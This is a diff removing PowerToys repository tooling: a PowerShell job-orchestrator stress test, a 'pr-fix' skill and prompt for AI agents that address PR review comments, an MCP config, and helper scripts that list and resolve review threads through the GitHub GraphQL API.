# while loop produces no Write-Host output for ~8+ seconds).
$qc = $queue.Count; $rc = $running.Count; $fc = $finished.Count
Write-Log "queue=$qc running=$rc done=$fc (iter=$loopIteration)"
$runLabels = ($running | ForEach-Object { $_.Label }) -join ', '
Write-Host " [$((Get-Date).ToString('HH:mm:ss'))] queue=$qc running=$rc done=$fc (iter=$loopIteration) [$runLabels]"
}
# ── results ──────────────────────────────────────────────────────────────
Write-ProgressMessage "All $($finished.Count) jobs finished. Log: $script:_orchestratorLog"
$results = foreach ($t in $finished) { Get-TrackerResult $t }
return $results

View File

@@ -1,352 +0,0 @@
<#
.SYNOPSIS
Stress-tests Invoke-SimpleJobOrchestrator.ps1 with edge-case scenarios.
.DESCRIPTION
Creates job definitions that simulate various failure modes:
1. Happy-path jobs (should complete normally)
2. Jobs that throw exceptions (should be detected as Failed)
3. Jobs that hang with no log output (stale → retry → abandon)
4. Jobs that write to the log once then hang (stale after initial burst)
5. Jobs with a cleanup task (verify cleanup runs on completion)
6. Jobs with a cleanup task that itself throws
7. Concurrency pressure: many fast jobs queued beyond MaxConcurrent
8. Mixed bag: all of the above in one run
Each scenario prints PASS / FAIL and the script exits with the total
failure count so CI can gate on it.
.PARAMETER Scenario
Which scenario to run. Default 'All' runs every scenario sequentially.
.PARAMETER OutputRoot
Base directory for test artefacts. Cleaned before each scenario.
#>
# NOTE: Do NOT use [CmdletBinding()] or parameter attributes such as
# [ValidateSet()] / [Parameter()] here. Any of those make this an "advanced
# script", which propagates the caller's ErrorActionPreference via the implicit
# -ErrorAction common parameter — silently terminating the entire script when
# stray non-terminating errors bubble up from Stop-Job, Remove-Job, or file
# locks between scenarios.
param(
[string]$Scenario = 'All',
[string]$OutputRoot = 'Generated Files/orch-stress-test'
)
# Manual validation instead of [ValidateSet()] to keep this a simple script.
$validScenarios = @('All', 'HappyPath', 'ThrowException', 'StaleNoLog',
'StaleThenHang', 'CleanupRuns', 'CleanupThrows', 'ConcurrencyPressure', 'MixedBag')
if ($Scenario -notin $validScenarios) {
Write-Error "Invalid -Scenario '$Scenario'. Valid values: $($validScenarios -join ', ')"
return
}
# Test scripts use 'Continue' globally. Individual assertions use try/catch.
# Using 'Stop' causes stray non-terminating errors from completed-job cleanup,
# file locks, Start-Job, etc. to silently terminate the whole script.
$ErrorActionPreference = 'Continue'
$repoRoot = (Resolve-Path (Join-Path $PSScriptRoot '..\..\..\..')).Path
$orchPath = Join-Path $PSScriptRoot 'Invoke-SimpleJobOrchestrator.ps1'
if (-not [System.IO.Path]::IsPathRooted($OutputRoot)) {
$OutputRoot = Join-Path $repoRoot $OutputRoot
}
# ── helper: build a single synthetic job definition ──────────────────────
function New-TestJob {
param(
[string]$Label,
[string]$InlineScript, # PowerShell code to run inside the job
[string]$OutDir,
[scriptblock]$CleanupTask = $null
)
$logPath = Join-Path $OutDir "$Label.log"
return @{
Label = $Label
ExecutionParameters = @{
JobName = $Label
Command = 'powershell'
Arguments = @('-NoProfile', '-Command', $InlineScript)
WorkingDir = $repoRoot
OutputDir = $OutDir
LogPath = $logPath
}
MonitorFiles = @($logPath)
CleanupTask = $CleanupTask
}
}
# ── helper: run one scenario ─────────────────────────────────────────────
$script:passCount = 0
$script:failCount = 0
function Invoke-Scenario {
param(
[string]$Name,
[hashtable[]]$Defs,
[int]$MaxConcurrent = 10,
[int]$InactivityTimeout = 8,
[int]$MaxRetry = 1,
[int]$PollInterval = 2,
[scriptblock]$Assertions # receives $results array
)
Write-Host "`n╔══════════════════════════════════════════════════════╗" -ForegroundColor Yellow
Write-Host "║ Scenario: $Name" -ForegroundColor Yellow
Write-Host "╚══════════════════════════════════════════════════════╝" -ForegroundColor Yellow
$scenarioDir = Join-Path $OutputRoot $Name
# ── aggressive cleanup ───────────────────────────────────────────────
# Previous stale-job scenarios may leave background processes with file
# locks. Stop ALL jobs (not just the current scenario's) and wait a
# moment for handles to release before wiping the directory.
Get-Job | Stop-Job -ErrorAction SilentlyContinue
Get-Job | Remove-Job -Force -ErrorAction SilentlyContinue
if (Test-Path $scenarioDir) {
Start-Sleep -Milliseconds 500
Remove-Item $scenarioDir -Recurse -Force -ErrorAction SilentlyContinue
# Retry once if first attempt failed (file lock race)
if (Test-Path $scenarioDir) {
Start-Sleep -Seconds 1
Remove-Item $scenarioDir -Recurse -Force -ErrorAction SilentlyContinue
}
}
$results = & $orchPath `
-JobDefinitions $Defs `
-MaxConcurrent $MaxConcurrent `
-InactivityTimeoutSeconds $InactivityTimeout `
-MaxRetryCount $MaxRetry `
-PollIntervalSeconds $PollInterval `
-LogDir $scenarioDir
# run caller assertions
try {
& $Assertions $results
}
catch {
Write-Host " FAIL (assertion error): $_" -ForegroundColor Red
$script:failCount++
}
}
function Assert-True {
param([bool]$Condition, [string]$Message)
if ($Condition) {
Write-Host " PASS: $Message" -ForegroundColor Green
$script:passCount++
}
else {
Write-Host " FAIL: $Message" -ForegroundColor Red
$script:failCount++
}
}
# ── scenario definitions ─────────────────────────────────────────────────
$scenarios = @{}
# 1. Happy path — 3 jobs that complete quickly
$scenarios['HappyPath'] = {
$dir = Join-Path $OutputRoot 'HappyPath'
$defs = @(1..3 | ForEach-Object {
New-TestJob -Label "happy-$_" -OutDir $dir `
-InlineScript "Write-Output 'hello from $_'; Start-Sleep -Milliseconds 500; Write-Output 'done $_'"
})
Invoke-Scenario -Name 'HappyPath' -Defs $defs -Assertions {
param($r)
Assert-True ($r.Count -eq 3) 'Got 3 results'
Assert-True (($r | Where-Object Status -eq 'Completed').Count -eq 3) 'All 3 completed'
Assert-True (($r | Where-Object RetryCount -eq 0).Count -eq 3) 'Zero retries'
}
}
# 2. Throw exception — the command errors out immediately
$scenarios['ThrowException'] = {
$dir = Join-Path $OutputRoot 'ThrowException'
$defs = @(
(New-TestJob -Label 'throw-1' -OutDir $dir `
-InlineScript "throw 'Simulated fatal error'"),
(New-TestJob -Label 'good-1' -OutDir $dir `
-InlineScript "Write-Output 'I am fine'; Start-Sleep -Milliseconds 300")
)
Invoke-Scenario -Name 'ThrowException' -Defs $defs -Assertions {
param($r)
Assert-True ($r.Count -eq 2) 'Got 2 results'
Assert-True (($r | Where-Object Label -eq 'throw-1').Status -in 'Completed','Failed') 'Throw job detected as finished'
Assert-True (($r | Where-Object Label -eq 'good-1').Status -eq 'Completed') 'Good job completed'
}
}
# 3. Stale — no log output, job sleeps forever (beyond timeout)
$scenarios['StaleNoLog'] = {
$dir = Join-Path $OutputRoot 'StaleNoLog'
$defs = @(
(New-TestJob -Label 'stale-nolog' -OutDir $dir `
-InlineScript "Start-Sleep -Seconds 120")
)
# Timeout 8 s, poll 2 s, max retry 1 → should retry once then abandon
Invoke-Scenario -Name 'StaleNoLog' -Defs $defs `
-InactivityTimeout 8 -MaxRetry 1 -PollInterval 2 `
-Assertions {
param($r)
Assert-True ($r.Count -eq 1) 'Got 1 result'
Assert-True ($r[0].Status -eq 'Abandoned') 'Marked as Abandoned'
Assert-True ($r[0].RetryCount -eq 1) 'Retried once before giving up'
}
}
# 4. Writes once then hangs — log grows initially then stops
$scenarios['StaleThenHang'] = {
$dir = Join-Path $OutputRoot 'StaleThenHang'
$defs = @(
(New-TestJob -Label 'burst-hang' -OutDir $dir `
-InlineScript "Write-Output 'initial burst'; Start-Sleep -Seconds 120")
)
Invoke-Scenario -Name 'StaleThenHang' -Defs $defs `
-InactivityTimeout 8 -MaxRetry 1 -PollInterval 2 `
-Assertions {
param($r)
Assert-True ($r.Count -eq 1) 'Got 1 result'
Assert-True ($r[0].Status -eq 'Abandoned') 'Marked as Abandoned'
Assert-True ($r[0].RetryCount -ge 1) 'Retried at least once'
}
}
# 5. Cleanup task runs on completion
$scenarios['CleanupRuns'] = {
$dir = Join-Path $OutputRoot 'CleanupRuns'
$marker = Join-Path $dir 'cleanup-ran.marker'
$cleanupBlock = [scriptblock]::Create(
"param(`$Tracker); New-Item -ItemType File -Path '$($marker -replace "'","''")' -Force | Out-Null"
)
$defs = @(
(New-TestJob -Label 'cleanup-ok' -OutDir $dir `
-InlineScript "Write-Output 'will be cleaned'" `
-CleanupTask $cleanupBlock)
)
Invoke-Scenario -Name 'CleanupRuns' -Defs $defs -Assertions {
param($r)
Assert-True ($r.Count -eq 1) 'Got 1 result'
Assert-True ($r[0].Status -eq 'Completed') 'Job completed'
Assert-True (Test-Path $marker) 'Cleanup marker file exists'
}
}
# 6. Cleanup task that itself throws — should not crash the orchestrator
$scenarios['CleanupThrows'] = {
$dir = Join-Path $OutputRoot 'CleanupThrows'
$badCleanup = { param($Tracker); throw 'Cleanup explosion!' }
$defs = @(
(New-TestJob -Label 'cleanup-boom' -OutDir $dir `
-InlineScript "Write-Output 'boom prep'" `
-CleanupTask $badCleanup),
(New-TestJob -Label 'after-boom' -OutDir $dir `
-InlineScript "Write-Output 'I should still finish'")
)
Invoke-Scenario -Name 'CleanupThrows' -Defs $defs -Assertions {
param($r)
Assert-True ($r.Count -eq 2) 'Got 2 results'
Assert-True (($r | Where-Object Label -eq 'cleanup-boom').Status -eq 'Completed') 'Boom job completed despite bad cleanup'
Assert-True (($r | Where-Object Label -eq 'after-boom').Status -eq 'Completed') 'Next job also completed'
}
}
# 7. Concurrency pressure — 20 fast jobs, MaxConcurrent=5
$scenarios['ConcurrencyPressure'] = {
$dir = Join-Path $OutputRoot 'ConcurrencyPressure'
$defs = @(1..20 | ForEach-Object {
New-TestJob -Label "conc-$_" -OutDir $dir `
-InlineScript "Write-Output 'job $_ at $(Get-Date -f s)'; Start-Sleep -Milliseconds $(Get-Random -Min 200 -Max 1500)"
})
Invoke-Scenario -Name 'ConcurrencyPressure' -Defs $defs `
-MaxConcurrent 5 -InactivityTimeout 15 -PollInterval 2 `
-Assertions {
param($r)
Assert-True ($r.Count -eq 20) 'Got 20 results'
Assert-True (($r | Where-Object Status -eq 'Completed').Count -eq 20) 'All 20 completed'
# Verify logs have content
$withContent = ($r | Where-Object {
(Test-Path $_.LogPath) -and (Get-Item $_.LogPath).Length -gt 0
}).Count
Assert-True ($withContent -eq 20) 'All 20 logs have content'
}
}
# 8. Mixed bag — happy + throw + stale + cleanup in one run
$scenarios['MixedBag'] = {
$dir = Join-Path $OutputRoot 'MixedBag'
$marker = Join-Path $dir 'mixed-cleanup.marker'
$cleanupOk = [scriptblock]::Create(
"param(`$Tracker); New-Item -ItemType File -Path '$($marker -replace "'","''")' -Force | Out-Null"
)
$defs = @(
(New-TestJob -Label 'mix-happy' -OutDir $dir -InlineScript "Write-Output 'happy'; Start-Sleep -Milliseconds 500"),
(New-TestJob -Label 'mix-throw' -OutDir $dir -InlineScript "throw 'kaboom'"),
(New-TestJob -Label 'mix-stale' -OutDir $dir -InlineScript "Start-Sleep -Seconds 120"),
(New-TestJob -Label 'mix-cleanup' -OutDir $dir -InlineScript "Write-Output 'with cleanup'" -CleanupTask $cleanupOk)
)
Invoke-Scenario -Name 'MixedBag' -Defs $defs `
-MaxConcurrent 10 -InactivityTimeout 8 -MaxRetry 1 -PollInterval 2 `
-Assertions {
param($r)
Assert-True ($r.Count -eq 4) 'Got 4 results'
Assert-True (($r | Where-Object Label -eq 'mix-happy').Status -eq 'Completed') 'Happy completed'
Assert-True (($r | Where-Object Label -eq 'mix-throw').Status -in 'Completed','Failed') 'Throw detected'
Assert-True (($r | Where-Object Label -eq 'mix-stale').Status -eq 'Abandoned') 'Stale abandoned'
Assert-True (($r | Where-Object Label -eq 'mix-stale').RetryCount -ge 1) 'Stale retried'
Assert-True (($r | Where-Object Label -eq 'mix-cleanup').Status -eq 'Completed') 'Cleanup job completed'
Assert-True (Test-Path $marker) 'Mixed cleanup marker exists'
}
}
# ── run selected scenarios ───────────────────────────────────────────────
$toRun = if ($Scenario -eq 'All') { $scenarios.Keys | Sort-Object } else { @($Scenario) }
$sw = [System.Diagnostics.Stopwatch]::StartNew()
foreach ($name in $toRun) {
& $scenarios[$name]
# ── inter-scenario cleanup ─────────────────────────────────
# Kill any leftover jobs (especially long-running stale-sim sleeps),
# force garbage collection, and pause briefly so handles release.
Get-Job | Stop-Job -ErrorAction SilentlyContinue
Get-Job | Remove-Job -Force -ErrorAction SilentlyContinue
[System.GC]::Collect()
Start-Sleep -Seconds 2
}
$sw.Stop()
# ── summary ──────────────────────────────────────────────────────────────
Write-Host "`n════════════════════════════════════════════════════════" -ForegroundColor Cyan
Write-Host " RESULTS: $($script:passCount) passed, $($script:failCount) failed ($([math]::Round($sw.Elapsed.TotalSeconds, 1))s)" -ForegroundColor Cyan
Write-Host "════════════════════════════════════════════════════════" -ForegroundColor Cyan
# clean up jobs
Get-Job | Remove-Job -Force -ErrorAction SilentlyContinue
exit $script:failCount

View File

@@ -1,21 +0,0 @@
MIT License
Copyright (c) Microsoft Corporation.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -1,238 +0,0 @@
---
name: pr-fix
description: Fix active PR review comments and resolve threads. Use when asked to fix PR comments, address review feedback, resolve review threads, implement PR fixes, or handle review iterations. Works with VS Code MCP tools to resolve GitHub threads after fixes are applied.
license: Complete terms in LICENSE.txt
---
# PR Fix Skill
Fix active pull request review comments and resolve threads. This skill handles the **fix** part of the PR review cycle, separate from the review itself.
## ⚠️ Critical Architecture
This skill requires **both** CLI scripts AND VS Code MCP tools:
| Operation | Execution Method |
|-----------|------------------|
| Apply code fixes | Copilot/Claude CLI via script |
| Resolve review threads | **VS Code Agent** via `gh api graphql` |
| Check status | Script (read-only) |
**WHY**: Copilot CLI's MCP is **read-only**. Only VS Code can resolve threads.
## Skill Contents
```
.github/skills/pr-fix/
├── SKILL.md # This file
├── LICENSE.txt # MIT License
├── references/
│ ├── fix-pr-comments.prompt.md # AI prompt for fixing comments
│ └── mcp-config.json # MCP configuration
└── scripts/
├── Start-PRFix.ps1 # Main fix script
├── Start-PRFixParallel.ps1 # Parallel runner (single terminal)
├── Resolve-PRThreads.ps1 # Resolve threads helper
├── Get-UnresolvedThreads.ps1 # Get threads needing resolution
└── IssueReviewLib.ps1 # Shared helpers
```
## Output
- **Code changes**: Applied in the PR's worktree
- **Signal file**: `Generated Files/prFix/<pr>/.signal`
## Signal File
On completion, a `.signal` file is created for orchestrator coordination:
```json
{
"status": "success",
"prNumber": 45365,
"timestamp": "2026-02-04T10:05:23Z",
"unresolvedBefore": 3,
"unresolvedAfter": 0
}
```
Status values: `success`, `partial` (some threads remain), `failure`
## When to Use This Skill
- Fix active review comments on a PR
- Address reviewer feedback
- Resolve review threads after fixing
- Run the fix portion of review/fix loop
- Implement changes requested in PR reviews
## Prerequisites
- GitHub CLI (`gh`) installed and authenticated
- Copilot CLI or Claude CLI installed
- PowerShell 7+
- PR has active review comments to fix
## Required Variables
| Variable | Description | Example |
|----------|-------------|---------|
| `{{PRNumber}}` | Pull request number to fix | `45286` |
## Workflow
### Step 1: Check Unresolved Threads
```powershell
# See what needs to be fixed
.github/skills/pr-fix/scripts/Get-UnresolvedThreads.ps1 -PRNumber {{PRNumber}}
```
### Step 2: Run Fix (CLI Script)
```powershell
# Apply AI-generated fixes to address comments
.github/skills/pr-fix/scripts/Start-PRFix.ps1 -PRNumber {{PRNumber}} -CLIType copilot -Force
```
### Step 3: Resolve Threads (VS Code Agent)
After fixes are pushed, **you (the VS Code agent) must resolve threads**:
```powershell
# Get unresolved thread IDs
gh api graphql -f query='
query {
repository(owner: "microsoft", name: "PowerToys") {
pullRequest(number: {{PRNumber}}) {
reviewThreads(first: 50) {
nodes { id isResolved path line }
}
}
}
}
' --jq '.data.repository.pullRequest.reviewThreads.nodes[] | select(.isResolved == false)'
```
```powershell
# Resolve each thread
gh api graphql -f query='
mutation {
resolveReviewThread(input: {threadId: "{{threadId}}"}) {
thread { isResolved }
}
}
'
```
### Step 4: Verify All Resolved
```powershell
# Confirm no unresolved threads remain
.github/skills/pr-fix/scripts/Get-UnresolvedThreads.ps1 -PRNumber {{PRNumber}}
```
## CLI Options
| Parameter | Description | Default |
|-----------|-------------|---------|
| `-PRNumber` | PR number to fix | Required |
| `-CLIType` | AI CLI: `copilot` or `claude` | `copilot` |
| `-Model` | Copilot model (e.g., `gpt-5.2-codex`) | (optional) |
| `-Force` | Skip confirmation prompts | `false` |
| `-DryRun` | Show what would be done | `false` |
## Review/Fix Loop Integration
This skill is typically used with `pr-review` in a loop:
```
┌─────────────────┐
│ pr-review │ ← Generate review, post comments
└────────┬────────┘
┌─────────────────┐
│ pr-fix │ ← Fix comments, resolve threads
└────────┬────────┘
┌─────────────────┐
│ Check status │ ← Any threads unresolved?
└────────┬────────┘
┌────┴────┐
│ YES │ NO
▼ ▼
(loop) ✓ Done
```
## VS Code Agent Operations
These operations **must** be done by the VS Code agent (not scripts):
| Operation | Method |
|-----------|--------|
| Resolve thread | `gh api graphql` with `resolveReviewThread` mutation |
| Unresolve thread | `gh api graphql` with `unresolveReviewThread` mutation |
### Batch Resolve All Threads
```powershell
# Get all unresolved thread IDs and resolve them
$threads = gh api graphql -f query='
query {
repository(owner: "microsoft", name: "PowerToys") {
pullRequest(number: {{PRNumber}}) {
reviewThreads(first: 100) {
nodes { id isResolved }
}
}
}
}
' --jq '.data.repository.pullRequest.reviewThreads.nodes[] | select(.isResolved == false) | .id'
foreach ($threadId in $threads) {
gh api graphql -f query="mutation { resolveReviewThread(input: {threadId: `"$threadId`"}) { thread { isResolved } } }"
}
```
## Troubleshooting
| Problem | Solution |
|---------|----------|
| "Cannot resolve thread" | Use VS Code agent, not Copilot CLI |
| Fix not applied | Check worktree is on correct branch |
| Thread ID not found | Re-fetch threads, ID may have changed |
| Fix pushed but thread unresolved | Must explicitly resolve via GraphQL |
## Batch Processing Multiple PRs (CRITICAL)
**DO NOT spawn separate terminals for each PR.** Use the dedicated scripts:
```powershell
# Run fixes in parallel via orchestrator (single terminal)
.github/skills/pr-fix/scripts/Start-PRFixParallel.ps1 -PRNumbers 45256,45257,45285,45286 -CLIType copilot -MaxConcurrent 3 -Force
# Resolve threads (VS Code agent)
.github/skills/pr-fix/scripts/Resolve-PRThreads.ps1 -PRNumber 45256
```
## Dependencies
| Skill | Used For |
|-------|----------|
| `parallel-job-orchestrator` | Parallel execution of fix jobs across multiple PRs |
`Start-PRFixParallel.ps1` delegates all parallel execution to the shared orchestrator.
Do NOT introduce custom `ForEach-Object -Parallel`, `Start-Job`, or `Start-Process`
patterns — use the orchestrator instead.
## Related Skills
| Skill | Purpose |
|-------|--------|
| `pr-review` | Review PR, generate findings, post comments |
| `parallel-job-orchestrator` | Shared parallel execution engine |
| `issue-fix` | Fix issues and create PRs |
| `issue-to-pr-cycle` | Full orchestration |

View File

@@ -1,70 +0,0 @@
---
description: 'Fix active pull request comments with scoped changes'
name: 'fix-pr-active-comments'
agent: 'agent'
argument-hint: 'PR number or active PR URL'
---
# Fix Active PR Comments
## Mission
Resolve active pull request comments by applying only simple fixes. For complex refactors, write a plan instead of changing code.
## Scope & Preconditions
- You must have an active pull request context or a provided PR number.
- Only implement simple changes. Do not implement large refactors.
- If required context is missing, request it and stop.
## Inputs
- Required: ${input:pr_number:PR number or URL}
- Optional: ${input:comment_scope:files or areas to focus on}
- Optional: ${input:fixing_guidelines:additional fixing guidelines from the user}
## Workflow
1. Locate all active (unresolved) PR review comments for the given PR.
2. For each comment, classify the change scope:
- Simple change: limited edits, localized fix, low risk, no broad redesign.
- Large refactor: multi-file redesign, architecture change, or risky behavior change.
3. For each large refactor request:
- Do not modify code.
- Write a planning document to Generated Files/prReview/${input:pr_number}/fixPlan/.
4. For each simple change request:
- Implement the fix with minimal edits.
- Run quick checks if needed.
- Commit and push the change.
5. For comments that seem invalid, unclear, or not applicable (even if simple):
- Do not change code.
- Add the item to a summary table in Generated Files/prReview/${input:pr_number}/fixPlan/overview.md.
- Consult back to the end user in a friendly, polite tone.
6. Respond to each comment that you fixed:
- Reply in the active conversation.
- Use a polite or friendly tone.
- Keep the response under 200 words.
- Resolve the comment after replying.
## Output Expectations
- Simple fixes: code changes committed and pushed.
- Large refactors: a plan file saved to Generated Files/prReview/${input:pr_number}/fixPlan/.
- Invalid or unclear comments: captured in Generated Files/prReview/${input:pr_number}/fixPlan/overview.md.
- Each fixed comment has a reply under 200 words and is resolved.
## Plan File Template
Use this template for each large refactor item:
# Fix Plan: <short title>
## Context
- Comment link:
- Impacted areas:
## Overview Table Template
Use this table in Generated Files/prReview/${input:pr_number}/fixPlan/overview.md:
| Comment link | Summary | Reason not applied | Suggested follow-up |
| --- | --- | --- | --- |
| | | | |
## Quality Assurance
- Verify plan file path exists.
- Ensure no code changes were made for large refactor items.
- Confirm replies are under 200 words and comments are resolved.

View File

@@ -1,9 +0,0 @@
{
"mcpServers": {
"github-artifacts": {
"command": "cmd",
"args": ["/c", "for /f %i in ('git rev-parse --show-toplevel') do node %i/tools/mcp/github-artifacts/launch.js"],
"tools": ["*"]
}
}
}

View File

@@ -1,112 +0,0 @@
<#
.SYNOPSIS
Get unresolved review threads on a PR.
.DESCRIPTION
Lists all unresolved review threads with their IDs, paths, and comment bodies.
This information is needed to resolve threads via GraphQL.
.PARAMETER PRNumber
PR number to check.
.PARAMETER JsonOutput
Output as JSON for programmatic use.
.EXAMPLE
./Get-UnresolvedThreads.ps1 -PRNumber 45286
.EXAMPLE
./Get-UnresolvedThreads.ps1 -PRNumber 45286 -JsonOutput
#>
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[int]$PRNumber,
[switch]$JsonOutput
)
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
. (Join-Path $scriptDir 'IssueReviewLib.ps1')
try {
$query = @"
query {
repository(owner: "microsoft", name: "PowerToys") {
pullRequest(number: $PRNumber) {
reviewThreads(first: 100) {
nodes {
id
isResolved
path
line
comments(first: 1) {
nodes {
body
author { login }
createdAt
}
}
}
}
}
}
}
"@
$result = gh api graphql -f query=$query 2>$null | ConvertFrom-Json
if (-not $result -or -not $result.data) {
throw "Failed to fetch PR threads"
}
$threads = $result.data.repository.pullRequest.reviewThreads.nodes
$unresolvedThreads = $threads | Where-Object { -not $_.isResolved }
if ($JsonOutput) {
$unresolvedThreads | ConvertTo-Json -Depth 5
return
}
if ($unresolvedThreads.Count -eq 0) {
Write-Host "✓ No unresolved threads on PR #$PRNumber" -ForegroundColor Green
return
}
Write-Host ""
Write-Host "=== UNRESOLVED THREADS ON PR #$PRNumber ===" -ForegroundColor Cyan
Write-Host ("-" * 80)
foreach ($thread in $unresolvedThreads) {
$comment = $thread.comments.nodes[0]
$preview = if ($comment.body.Length -gt 100) {
$comment.body.Substring(0, 100) + "..."
} else {
$comment.body
}
Write-Host ""
Write-Host "Thread ID: " -NoNewline -ForegroundColor Yellow
Write-Host $thread.id
Write-Host "File: " -NoNewline -ForegroundColor Gray
Write-Host "$($thread.path):$($thread.line)"
Write-Host "Author: " -NoNewline -ForegroundColor Gray
Write-Host $comment.author.login
Write-Host "Comment: " -ForegroundColor Gray
Write-Host " $preview"
}
Write-Host ""
Write-Host ("-" * 80)
Write-Host "Total unresolved: $($unresolvedThreads.Count)" -ForegroundColor Yellow
Write-Host ""
Write-Host "To resolve a thread:" -ForegroundColor Cyan
Write-Host ' gh api graphql -f query=''mutation { resolveReviewThread(input: {threadId: "THREAD_ID"}) { thread { isResolved } } }'''
return $unresolvedThreads
}
catch {
Write-Host "Error: $($_.Exception.Message)" -ForegroundColor Red
exit 1
}

View File

@@ -1,18 +0,0 @@
# IssueReviewLib.ps1 - Minimal helpers for PR review workflow
# Part of the PowerToys GitHub Copilot/Claude Code issue review system
# This is a trimmed version - pr-review only needs console helpers and repo root
#region Console Output Helpers
function Info { param([string]$Message) Write-Host $Message -ForegroundColor Cyan }
function Warn { param([string]$Message) Write-Host $Message -ForegroundColor Yellow }
function Err { param([string]$Message) Write-Host $Message -ForegroundColor Red }
function Success { param([string]$Message) Write-Host $Message -ForegroundColor Green }
#endregion
#region Repository Helpers
function Get-RepoRoot {
$root = git rev-parse --show-toplevel 2>$null
if (-not $root) { throw 'Not inside a git repository.' }
return (Resolve-Path $root).Path
}
#endregion

View File

@@ -1,31 +0,0 @@
<#
.SYNOPSIS
Resolve all unresolved review threads for a PR.
.PARAMETER PRNumber
PR number to resolve.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[int]$PRNumber
)
$repoRoot = Resolve-Path (Join-Path $PSScriptRoot '..\..\..\..')
Set-Location $repoRoot
$query = 'query { repository(owner:"microsoft", name:"PowerToys") { pullRequest(number:' + $PRNumber + ') { reviewThreads(first:100) { nodes { id isResolved } } } } }'
$threads = gh api graphql -f query=$query --jq '.data.repository.pullRequest.reviewThreads.nodes[] | select(.isResolved==false) | .id'
foreach ($threadId in $threads) {
$mutation = 'mutation { resolveReviewThread(input:{threadId:"' + $threadId + '"}) { thread { isResolved } } }'
gh api graphql -f query=$mutation | Out-Null
}
$threadsAfter = gh api graphql -f query=$query --jq '.data.repository.pullRequest.reviewThreads.nodes[] | select(.isResolved==false) | .id'
if ($threadsAfter) {
Write-Warning "Unresolved threads remain for PR #$PRNumber"
} else {
Write-Host "All threads resolved for PR #$PRNumber"
}

View File

@@ -1,349 +0,0 @@
<#
.SYNOPSIS
Fix active PR review comments using AI CLI.
.DESCRIPTION
Kicks off Copilot/Claude CLI to address active review comments on a PR.
Does NOT resolve threads - that must be done by VS Code agent via GraphQL.
.PARAMETER PRNumber
PR number to fix.
.PARAMETER CLIType
AI CLI to use: copilot or claude. Default: copilot.
.PARAMETER Model
Copilot CLI model to use (e.g., gpt-5.2-codex).
.PARAMETER WorktreePath
Path to the worktree containing the PR branch. Auto-detected if not specified.
.PARAMETER DryRun
Show what would be done without executing.
.PARAMETER Force
Skip confirmation prompts.
.EXAMPLE
./Start-PRFix.ps1 -PRNumber 45286 -CLIType copilot -Force
.NOTES
After this script completes, use VS Code agent to resolve threads via GraphQL.
#>
# NOTE: Do NOT use [CmdletBinding()], [Parameter(Mandatory)], or [ValidateSet()]
# here. These make the script "advanced" which propagates ErrorActionPreference
# through PS7's plumbing and can silently crash the orchestrator's monitoring loop.
param(
[int]$PRNumber,
[string]$CLIType = 'copilot',
[string]$Model,
[string]$WorktreePath,
[switch]$DryRun,
[switch]$Force,
[switch]$Help
)
$ErrorActionPreference = 'Stop'
# Manual validation
if (-not $PRNumber -or $PRNumber -eq 0) {
Write-Error 'Start-PRFix: -PRNumber is required.'
return
}
if ($CLIType -notin 'copilot', 'claude') {
Write-Error "Start-PRFix: Invalid -CLIType '$CLIType'. Must be 'copilot' or 'claude'."
return
}
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
. (Join-Path $scriptDir 'IssueReviewLib.ps1')
$repoRoot = Get-RepoRoot
# Resolve config directory name (.github or .claude) from script location
$_cfgDir = if ($PSScriptRoot -match '[\\/](\.github|\.claude)[\\/]') { $Matches[1] } else { '.github' }
$worktreeLib = Join-Path $repoRoot 'tools/build/WorktreeLib.ps1'
if (Test-Path $worktreeLib) {
. $worktreeLib
}
if ($Help) {
Get-Help $MyInvocation.MyCommand.Path -Full
return
}
function Get-PRBranch {
param([int]$PRNumber)
$prInfo = gh pr view $PRNumber --json headRefName 2>$null | ConvertFrom-Json
if ($prInfo) {
return $prInfo.headRefName
}
return $null
}
function Find-WorktreeForPR {
param([int]$PRNumber)
$branch = Get-PRBranch -PRNumber $PRNumber
if (-not $branch) {
return $null
}
$worktrees = Get-WorktreeEntries
$wt = $worktrees | Where-Object { $_.Branch -eq $branch } | Select-Object -First 1
if ($wt) {
return $wt.Path
}
# If no dedicated worktree, check if we're on that branch in main repo
Push-Location $repoRoot
try {
$currentBranch = git branch --show-current 2>$null
if ($currentBranch -eq $branch) {
return $repoRoot
}
}
finally {
Pop-Location
}
return $null
}
function Get-ActiveComments {
param([int]$PRNumber)
try {
$comments = gh api "repos/microsoft/PowerToys/pulls/$PRNumber/comments" 2>$null | ConvertFrom-Json
# Filter to root comments (not replies)
$rootComments = $comments | Where-Object { $null -eq $_.in_reply_to_id }
return $rootComments
}
catch {
return @()
}
}
function Get-UnresolvedThreadCount {
param([int]$PRNumber)
try {
$result = gh api graphql -f query="query { repository(owner: `"microsoft`", name: `"PowerToys`") { pullRequest(number: $PRNumber) { reviewThreads(first: 100) { nodes { isResolved } } } } }" 2>$null | ConvertFrom-Json
$threads = $result.data.repository.pullRequest.reviewThreads.nodes
$unresolved = $threads | Where-Object { -not $_.isResolved }
return @($unresolved).Count
}
catch {
return 0
}
}
#region Main
try {
Info "=" * 60
Info "PR FIX - PR #$PRNumber"
Info "=" * 60
# Get PR info
$prInfo = gh pr view $PRNumber --json state,headRefName,url 2>$null | ConvertFrom-Json
if (-not $prInfo) {
throw "PR #$PRNumber not found"
}
if ($prInfo.state -ne 'OPEN') {
Warn "PR #$PRNumber is $($prInfo.state), not OPEN"
return
}
Info "PR URL: $($prInfo.url)"
